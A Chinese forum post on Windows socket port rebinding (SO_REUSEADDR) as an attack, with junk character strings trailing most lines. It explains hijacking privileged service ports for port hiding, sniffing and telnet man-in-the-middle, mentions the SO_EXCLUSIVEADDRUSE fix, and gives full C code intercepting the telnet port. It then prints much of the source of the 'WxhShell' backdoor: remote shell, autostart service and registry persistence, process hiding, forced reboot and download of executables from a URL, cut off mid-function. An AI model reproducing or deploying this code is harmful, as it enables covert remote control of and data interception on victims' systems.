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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _O3X;U7rc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q.MbzSgXL  
{%+UQ!]d8  
  saddr.sin_family = AF_INET; <]f{X<ef  
X#<+D1P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !!+LFe4su  
;wa#m1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v];P| Fi  
j@s*hZ^J+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9U4 D$M  
g%_ 3  
  这意味着什么?意味着可以进行如下的攻击: MS`XhFPS.  
0t(2^*I?>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PS3jCT  
2 -pv &  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2(2UAB"u  
TZ#^AV=ae  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EYRg,U&'  
q|sT4} =  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T"/dn%21  
] B?NDxU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v|R#[vtFd  
8bdx$,$k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ei4Iv#Oi`  
(_3QZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UB,0c)   
`b KJ  
  #include ~X(2F#{<{  
  #include L0;XzZ S  
  #include ~5o2jTNy`p  
  #include    zyB>peAp6j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   INEE 37%  
  int main() ~wQ M ?h  
  { 'Ll'8 ps  
  WORD wVersionRequested; ~7w LnB  
  DWORD ret; wlFK#iK  
  WSADATA wsaData; :;jRAjq"  
  BOOL val; i8A-h6E  
  SOCKADDR_IN saddr; jbe_r<{  
  SOCKADDR_IN scaddr; ,B#*<_?E5  
  int err; [ D"5@  
  SOCKET s; YQ>O6:%  
  SOCKET sc; H6hhU'Kxf8  
  int caddsize; E> N[  
  HANDLE mt; >mj WC) U  
  DWORD tid;   aMJJ|iiU  
  wVersionRequested = MAKEWORD( 2, 2 ); vDIsawbHD  
  err = WSAStartup( wVersionRequested, &wsaData ); k'NP+N<M  
  if ( err != 0 ) { `$MO;Fv,G  
  printf("error!WSAStartup failed!\n"); uT>"(wnJ|  
  return -1; ?_d3|]N  
  } hd W7Qck"  
  saddr.sin_family = AF_INET; XZ<8M}Lg  
   :Bi 4z(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f\?1oMO\  
bO* hmDt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n?QglN  
  saddr.sin_port = htons(23); K7t_Q8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) = &^tfD  
  { 7AF6aog  
  printf("error!socket failed!\n"); =@D H hg  
  return -1; )"J1ET,z  
  } uFuP%f!yY  
  val = TRUE; !p Q*m`Xo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9&zQ 5L>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KB {IWu  
  { Wf~PP;  
  printf("error!setsockopt failed!\n"); :<v@xOzxx  
  return -1; YIF|8b\  
  } aTkMg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3G'cDemc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^iWJqpLe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  81!gp7c  
+LlAGg]Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <Y"HC a{  
  { U, 8mYv2|  
  ret=GetLastError(); :1;"{=Yx}  
  printf("error!bind failed!\n"); 6]mAtA`Y  
  return -1; Z= =c3~  
  } y Z)-=H  
  listen(s,2); l=L(pS3 ~  
  while(1) 2Vs+8/  
  { e?N3&ezp  
  caddsize = sizeof(scaddr); Z4g<Ys*  
  //接受连接请求 xwj{4fzpk{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |xT'+~u  
  if(sc!=INVALID_SOCKET) w,j;XPp  
  { mnx`e>0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;M"[dy`dY  
  if(mt==NULL) UgD)O:xaU  
  { 8@ f+?g*i  
  printf("Thread Creat Failed!\n"); fOdX2{7m  
  break; 7d/I"?=|rA  
  } BY':R-~(  
  } %~M#3Ywa  
  CloseHandle(mt); ] G^9PZ-  
  } .*Z#;3  
  closesocket(s); u $B24Cy.  
  WSACleanup(); :m36{#  
  return 0; !$#5E1:\  
  }   1k`gr&S  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1Beh&pl^  
  { 2cwJ);Eg2  
  SOCKET ss = (SOCKET)lpParam; xIH= gK  
  SOCKET sc; 5=b6B=\*~  
  unsigned char buf[4096]; R,fAl"wMu  
  SOCKADDR_IN saddr; "bz.nE*  
  long num; ND/oKM+?  
  DWORD val; cYBjsN(!A|  
  DWORD ret; 6!8uZ>u%Vg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )@<HG$#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?X Rl\V  
  saddr.sin_family = AF_INET; !}sF#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R+2~%|{d  
  saddr.sin_port = htons(23); ],{M``]q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZZYtaVF:  
  { w_DaldK*  
  printf("error!socket failed!\n"); s<oT,SPt  
  return -1; PS0/O k  
  } %/BBl$~ji  
  val = 100; -J0OtrZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N4b{^JkF  
  { <sX_hIA^Fx  
  ret = GetLastError(); 1tTY )Evf  
  return -1; Asy2jw\V  
  } q\<NW%KtX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x3F94+<n{  
  { m-#]v}0A  
  ret = GetLastError(); or bz`IQc  
  return -1; BU7QK_zT:  
  } q29d=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \FF|b"E_=  
  { @H^\PH?pp  
  printf("error!socket connect failed!\n"); ,@I\'os  
  closesocket(sc); Kjpsz];  
  closesocket(ss); PZ#aq~>w  
  return -1; G_5w5dbG  
  } na 0Zb  
  while(1) w2jB6NQX  
  { _ q AT%.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eR/X9<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kWs:7jiiu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t3C#$ >  
  num = recv(ss,buf,4096,0); $"k1^&&E  
  if(num>0) :XTxrYt28  
  send(sc,buf,num,0); +UX} "m~W  
  else if(num==0) nFe  
  break; j^eM i  
  num = recv(sc,buf,4096,0); {hm-0Q  
  if(num>0) /<dl"PWkJv  
  send(ss,buf,num,0); %e_){28 n  
  else if(num==0) QUg<~q)Oq  
  break; ]7RK/Zu i  
  } \&U"7gSL  
  closesocket(ss); &)|f|\yh"  
  closesocket(sc); Z=< D`  
  return 0 ; SRU#Y8Xv|  
  } !!m GsgnW  
V8b^{}nxt  
=/\l=*  
========================================================== 6Q&i=!fQ  
pW>.3pj  
下边附上一个代码,,WXhSHELL 238z'I+$G/  
@V@<j)3P  
========================================================== T b*Q4:r"  
[|YJg]i-  
#include "stdafx.h" .Np!Qp1*  
?ZkVk=t?  
#include <stdio.h> ?+$EPaC2  
#include <string.h> 6 \ %#=GG  
#include <windows.h> k9c`[M  
#include <winsock2.h> GkKoc v  
#include <winsvc.h> zOJzQZ~  
#include <urlmon.h> db3.X~Cn#s  
G B>T3l"  
#pragma comment (lib, "Ws2_32.lib") 7]hRAhJ8I  
#pragma comment (lib, "urlmon.lib") maV*+!\  
5p/.( |b,  
#define MAX_USER   100 // 最大客户端连接数 eO{2rV45O  
#define BUF_SOCK   200 // sock buffer s5X51#J#~  
#define KEY_BUFF   255 // 输入 buffer zCu+Oi6  
? :F Jc[J  
#define REBOOT     0   // 重启 -NDB.~E^DJ  
#define SHUTDOWN   1   // 关机 Ac/LNqIs  
+Lo,*  
#define DEF_PORT   5000 // 监听端口 18y'#<X!  
wqyF"^It"  
#define REG_LEN     16   // 注册表键长度 W=,]#Z+M;  
#define SVC_LEN     80   // NT服务名长度 v,US4C|^3i  
}q?q)cG  
// 从dll定义API lnV!Xuf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "2T* w~V&y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Owh:(EJ"d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _G%kEt_4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \JNWL yw  
vQ{mEaH  
// wxhshell配置信息 ,~NJ}4wP  
struct WSCFG { %y)LBSxf  
  int ws_port;         // 监听端口 =':B  
  char ws_passstr[REG_LEN]; // 口令 w}x&wWM  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]YB,K)WQ  
  char ws_regname[REG_LEN]; // 注册表键名 *C^TCyBK;  
  char ws_svcname[REG_LEN]; // 服务名 6{ pg^K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ul:M=8nE%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x0xQFlGk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 quFNPdP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /qd~|[Kx:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eW[](lGWM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?6:e%YT  
\Zn~y--Z  
}; Ystd[  
`V?NS,@$  
// default Wxhshell configuration ")W5`9  
struct WSCFG wscfg={DEF_PORT, y"ms;w'z  
    "xuhuanlingzhe", Oq 95zo  
    1, r<"k /  
    "Wxhshell", ul\FZT 4  
    "Wxhshell", $u,`bX  
            "WxhShell Service", *,wW-8  
    "Wrsky Windows CmdShell Service", ~JOC8dO  
    "Please Input Your Password: ", 8`q"] BQN  
  1, _No<fz8  
  "http://www.wrsky.com/wxhshell.exe", 0Rh*SoYrC  
  "Wxhshell.exe" z@xkE ,j>  
    }; @u8kNXT;h  
bWMb@zm  
// 消息定义模块 4& 9V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r#^uY:T%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gE6{R+sp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WhDNt+uk)  
char *msg_ws_ext="\n\rExit."; uHyc7^X>  
char *msg_ws_end="\n\rQuit."; 6H|&HV(!R  
char *msg_ws_boot="\n\rReboot..."; !GoHCe[10  
char *msg_ws_poff="\n\rShutdown..."; CrX1qyR  
char *msg_ws_down="\n\rSave to "; qkq^oHI  
>+*lG>!z  
char *msg_ws_err="\n\rErr!"; GUsJF;;V  
char *msg_ws_ok="\n\rOK!"; Oi~.z@@  
!Ee&e~"  
char ExeFile[MAX_PATH]; M =GF@C;b  
int nUser = 0; (}CA?/  
HANDLE handles[MAX_USER]; 3:gF4(.  
int OsIsNt; 0y/P  
iM{cr&0  
SERVICE_STATUS       serviceStatus; #M:Vwn JX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^~m}(6  
qWI8 >my11  
// 函数声明 BU%gXr4Ra  
int Install(void); Gk<6+.c~  
int Uninstall(void); Qf|c^B  
int DownloadFile(char *sURL, SOCKET wsh); e]smnf  
int Boot(int flag); *GM.2``e  
void HideProc(void); SCXtBZ`.G  
int GetOsVer(void); \B8[UZA.&  
int Wxhshell(SOCKET wsl); 2!}rH w  
void TalkWithClient(void *cs); nsi&r  
int CmdShell(SOCKET sock); X1%_a.=VF  
int StartFromService(void); eo4v[V&  
int StartWxhshell(LPSTR lpCmdLine); 2B]mD-~  
+InFv" wt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qApf\o3[0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oa7jLz'i  
v?S3G-r  
// 数据结构和表定义 4-q8:5  
SERVICE_TABLE_ENTRY DispatchTable[] = _MUSXB'  
{ 2;YL+v2  
{wscfg.ws_svcname, NTServiceMain}, E)( Rhvij  
{NULL, NULL} ,}$[;$ye  
}; +K"d\<  
2sT\+C&H  
// 自我安装 3F9AnS  
int Install(void) !ziO1U  
{ B%KfB VC  
  char svExeFile[MAX_PATH]; 4NmLbM&C8  
  HKEY key; ;d||u  
  strcpy(svExeFile,ExeFile); ~01Fp;L/  
mvGj !'  
// 如果是win9x系统,修改注册表设为自启动 i8` 0-  
if(!OsIsNt) { stlkt>9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ')j@OO3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5=P*<Dnj  
  RegCloseKey(key); (rjv3=9\3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /1LQx>1d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Na_O :\x#  
  RegCloseKey(key); -2*Pm1\Z  
  return 0; qbQH1<yS<  
    } ~*ll,<L:  
  } ]llvG \  
} jftf]n&Z(q  
else { Z`kI6  
}e&Z"H |  
// 如果是NT以上系统,安装为系统服务 .T^e8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EY[J;H_b  
if (schSCManager!=0) q!}O+(kt  
{ Y f;Slps  
  SC_HANDLE schService = CreateService Ea?u5$>gY"  
  ( i^&^eg'.5  
  schSCManager, & 13#/  
  wscfg.ws_svcname, ,c[f/sT\  
  wscfg.ws_svcdisp, ^es/xt  
  SERVICE_ALL_ACCESS, " IC0v9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <I^Tug\M+  
  SERVICE_AUTO_START, _w49@9?  
  SERVICE_ERROR_NORMAL, b)@b63P_  
  svExeFile, p ^Dm w0y  
  NULL, r7n-Xe  
  NULL, u6~/" _FwY  
  NULL, K1^x+I7%U[  
  NULL, Py-}tFr  
  NULL _tpqo>  
  ); Y'2 |GJc2  
  if (schService!=0) ;TG<$4N  
  { yX|0 R H  
  CloseServiceHandle(schService); /FA0(< -}  
  CloseServiceHandle(schSCManager); KJN{p~Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <LA!L  
  strcat(svExeFile,wscfg.ws_svcname); +umVl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c*`= o( S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p>GxSE)  
  RegCloseKey(key); =aE!y5  
  return 0; j_HwR9^fd,  
    } 8K0@*0  
  } 5$L=l  
  CloseServiceHandle(schSCManager); cSs??i D"q  
} hQ}B?'>  
} A>W8^|l6+-  
p1(<F_Kta  
return 1; rP7f~"L  
} B]|"ePj-  
`f+l\'.s  
// 自我卸载 C.oC@P  
int Uninstall(void) u.L{3gkT  
{ uO;_T/^u  
  HKEY key; uP veAK}h  
q3-V_~5^/z  
if(!OsIsNt) { @`Foy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8\@&~&(y:  
  RegDeleteValue(key,wscfg.ws_regname); nA>kJSL'$  
  RegCloseKey(key); [`Dv#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _qQB.Dzo:  
  RegDeleteValue(key,wscfg.ws_regname); /4PV<[ :_  
  RegCloseKey(key); .YcI .  
  return 0; 86N"EuH$  
  } x7 l3&;yDv  
} 6Cd% @Q2cr  
} S,~DA3  
else { ]S#m o  
h#!u"'JW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E;Sb e9]   
if (schSCManager!=0) l d4#jV ei  
{ -<Zs7(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Auz.wes  
  if (schService!=0) p?,:  
  { R#UcwX}o  
  if(DeleteService(schService)!=0) { ?go+oS^  
  CloseServiceHandle(schService); yDW$v/j.|  
  CloseServiceHandle(schSCManager); S.X*)CBB  
  return 0; {(MC]]'?  
  } _.y0 QkwV  
  CloseServiceHandle(schService); 4tv}V:EO  
  } vPA {)l\K  
  CloseServiceHandle(schSCManager); llP 5  
} JD}"_,-  
} l.Qv9Ll|b  
%d/Pc4gfc  
return 1; w0i v\yIRQ  
} HKZD*E((  
7$&3(#!N  
// 从指定url下载文件 }^ np  
int DownloadFile(char *sURL, SOCKET wsh) UBy< vwnU  
{ PtT=HvP!k  
  HRESULT hr; W{!GL  
char seps[]= "/"; Eax^1 |6  
char *token; * vMNv  
char *file; 6(uK5eD(!n  
char myURL[MAX_PATH]; UfUboxT  
char myFILE[MAX_PATH]; g-Y2U}&  
Zw`vPvb!  
strcpy(myURL,sURL); ;>d uY\$<  
  token=strtok(myURL,seps); !$i*u-%4  
  while(token!=NULL) &58+-jzW  
  { z]Dbca1a`  
    file=token; tuF hPqe {  
  token=strtok(NULL,seps); %@jL? u  
  } *>a+`|[1*  
[spJ%AhV  
GetCurrentDirectory(MAX_PATH,myFILE); b=Y:`&o=[  
strcat(myFILE, "\\"); ~ :\QC  
strcat(myFILE, file); #gL$~.1  
  send(wsh,myFILE,strlen(myFILE),0); |/R)FT#i  
send(wsh,"...",3,0); 5}uH;E)4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?4 fXCb]7  
  if(hr==S_OK) Mr3;B+S  
return 0; ,#FK3;U  
else }bxW@(bs  
return 1; 8 ;C_@  
L-T3{I,3  
} lnk`D(>W  
Gz9w1[t  
// 系统电源模块 `N69xAiy  
int Boot(int flag) Ikn)XZU^  
{ [?vn>  
  HANDLE hToken; |%@.@c  
  TOKEN_PRIVILEGES tkp; D/ SM/  
gfPht 5  
  if(OsIsNt) { Q8kdX6NMd&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YGj3W.eH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rt[zZv  
    tkp.PrivilegeCount = 1; t'@qb~sf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !u0qF!/W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F(w  
if(flag==REBOOT) { Wx<fD()  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^" EsBt  
  return 0; vIi#M0@N  
} H~IN<3ko  
else { I-QaR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &F*L=Ng  
  return 0; *hP9d;-Ar  
} 8$H_:*A?  
  } -Tw96 dv  
  else { #Tjv(O[&  
if(flag==REBOOT) { %)Pn<! L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B|~tW21  
  return 0; {q[l4_  
} `Eijy3>h  
else { T w!]N%E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >0W:snNK  
  return 0; o<hT/ P  
} X5|<qu  
} G8y:f%I!b  
$R'  
return 1; cZ@z]LY.g  
} Q!%4Iq%jr  
"t-u=aDl-.  
// win9x进程隐藏模块 b#:Pl`n6u  
void HideProc(void) }E\ b_.  
{ p@H3NX  
vakAl;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $\0%"S  
  if ( hKernel != NULL ) PfaBzi9?f  
  { J;K-Pv +  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fo=hL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kIb)I(n  
    FreeLibrary(hKernel); 8Rgvb3u  
  } z"b}V01F#  
oA^aT:o +  
return; SIBNU3;DL  
} bOt6q/f  
1<y|,  
// 获取操作系统版本 eVobs2s  
int GetOsVer(void) V'XmMn)!  
{ I.f)rMl+h  
  OSVERSIONINFO winfo; +J^-B}v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z$VA]tI(  
  GetVersionEx(&winfo); *?zyF@K{%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d+1q[,-  
  return 1; BI'}  
  else `uO(#au,U  
  return 0; IA\CBwiLj  
} Mpfdl65  
T ~9)0A"]  
// 客户端句柄模块 QBg~b{h  
int Wxhshell(SOCKET wsl) nhfHY-l} 7  
{ %Ts6M,Fpp  
  SOCKET wsh; QEe\1>1"&  
  struct sockaddr_in client; }=1#ANM1  
  DWORD myID; a@E+/9  
qno8qF*  
  while(nUser<MAX_USER) 1}moT#  
{ 3fS+,>s\O  
  int nSize=sizeof(client); gEVN;G'B<=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _I$\O5  
  if(wsh==INVALID_SOCKET) return 1; ^ |k 7g  
wj-=#gyAoo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }9&Z#1/  
if(handles[nUser]==0) y"Fp4$qb  
  closesocket(wsh); 8i H'cX  
else (v11;kdJB  
  nUser++; OJ (ho&((  
  } Ow0-}Im~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zc_%hQf2A  
i8F^ N=  
  return 0; kZ&|.q1zki  
} cmpT_51~O  
 q q%\  
// 关闭 socket \`H"4r[?(  
void CloseIt(SOCKET wsh) )20jZm*  
{ cs]N%M^s  
closesocket(wsh); I<v1S  
nUser--; mE`O G8  
ExitThread(0); ?#OGH`ZvkI  
} pvCf4pf~  
T6gugDQ~.  
// 客户端请求句柄 }:5_vH0  
void TalkWithClient(void *cs) Pc+8CuN?  
{ mVJW"*}8  
3?x4+ b  
  SOCKET wsh=(SOCKET)cs; 6}Se$XMl  
  char pwd[SVC_LEN]; ]bjXbbHd  
  char cmd[KEY_BUFF]; FtaO@5pS54  
char chr[1]; k<1BE^[V  
int i,j; DB1GW,  
0q|.]:][Eo  
  while (nUser < MAX_USER) { Fap@cW3?8  
:xn/9y+s  
if(wscfg.ws_passstr) { S7{L-"D =y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~FnB!Mh}?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ :%"Z&  
  //ZeroMemory(pwd,KEY_BUFF); -Wp69DP6q  
      i=0; bPaE;?m  
  while(i<SVC_LEN) { ;.Lf9XJ   
hxIG0d!o  
  // 设置超时 dQ&S&SW  
  fd_set FdRead; f L @rv  
  struct timeval TimeOut; K+9oV[DMs  
  FD_ZERO(&FdRead); (7C&I- l  
  FD_SET(wsh,&FdRead); jwm2ZJW  
  TimeOut.tv_sec=8; 28 h3Ayw4  
  TimeOut.tv_usec=0; XS$5TNI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  U>0' K3_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 80PlbUBb!  
9.<dS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c$X0C&m  
  pwd=chr[0]; BXNt@%  
  if(chr[0]==0xd || chr[0]==0xa) { ']nB_x7  
  pwd=0; [@SLt$9"  
  break; 4dkU;Ob  
  } AJ0qq  
  i++; [x`trypg  
    } l[KFK%?  
Y)?dq(  
  // 如果是非法用户,关闭 socket "`b"PQ<x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n5nV4 61U  
} @,Je*5$o"  
#41fRmzC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kOv2E]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [;bZQ6JR  
TTg>g~t`  
while(1) { @]*b$6tt  
v&BKl  
  ZeroMemory(cmd,KEY_BUFF); gv&%2e}_  
nZ;h&N -_-  
      // 自动支持客户端 telnet标准   pEUbP,3M:  
  j=0; Sq9I]A  
  while(j<KEY_BUFF) { \/rK0|2A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gp=X1 F  
  cmd[j]=chr[0]; B;SN}I  
  if(chr[0]==0xa || chr[0]==0xd) { ;B%NFvG  
  cmd[j]=0; 8.Q;o+NU  
  break; R5`"~qP-  
  } "qEi$a&]  
  j++; }*WNrS">S  
    } E)eRi"a46  
;DMv?-H  
  // 下载文件 yN* H IN  
  if(strstr(cmd,"http://")) { E,6(/`0H*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Ab>"!/'K  
  if(DownloadFile(cmd,wsh)) DqgYc[UGA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yo)a_rY  
  else @agW{%R:.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uZsm=('ww  
  } UlBg6   
  else { s?;rP,{:p  
T6s~f$G  
    switch(cmd[0]) { 8no_xFA  
  F_8nxQ-  
  // 帮助 .#"O VI]#  
  case '?': { +Eil:Jz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t;P%&:"@M  
    break; DNsDEU  
  } 4"$K66yk@  
  // 安装 >KjyxJ7  
  case 'i': { % K$om|]p  
    if(Install()) ;#np~gL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zd) 2@jX=  
    else %w <59d6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f_`gUMf  
    break; mZ;W$y SO  
    } zWiM l.[  
  // 卸载 *9"L?S(X#  
  case 'r': { _ Je k;N  
    if(Uninstall()) #qk}e4u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .@0i,7S  
    else D]+0X8@kH7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kyQUaFG  
    break; SvUC8y  
    } Am~ NBQ7  
  // 显示 wxhshell 所在路径 xrbDqA.b  
  case 'p': { [aM_.[bf  
    char svExeFile[MAX_PATH]; S~WsGLF s  
    strcpy(svExeFile,"\n\r"); [ m*=Q  
      strcat(svExeFile,ExeFile); n\v\<mVTb7  
        send(wsh,svExeFile,strlen(svExeFile),0); :Jp$_T&E  
    break; z7+y{-{Z  
    } ([loWr}QR  
  // 重启 %|(~k*s4  
  case 'b': { ]=A=VH&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 28l",j)S  
    if(Boot(REBOOT)) ],ow@}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,BM6s,\  
    else { Nrl&"IK|J  
    closesocket(wsh); S>~QuCMY  
    ExitThread(0); /yHM =&Vg]  
    } WNkAI9B  
    break; qzv$E;zAl  
    } g%z?O[CN  
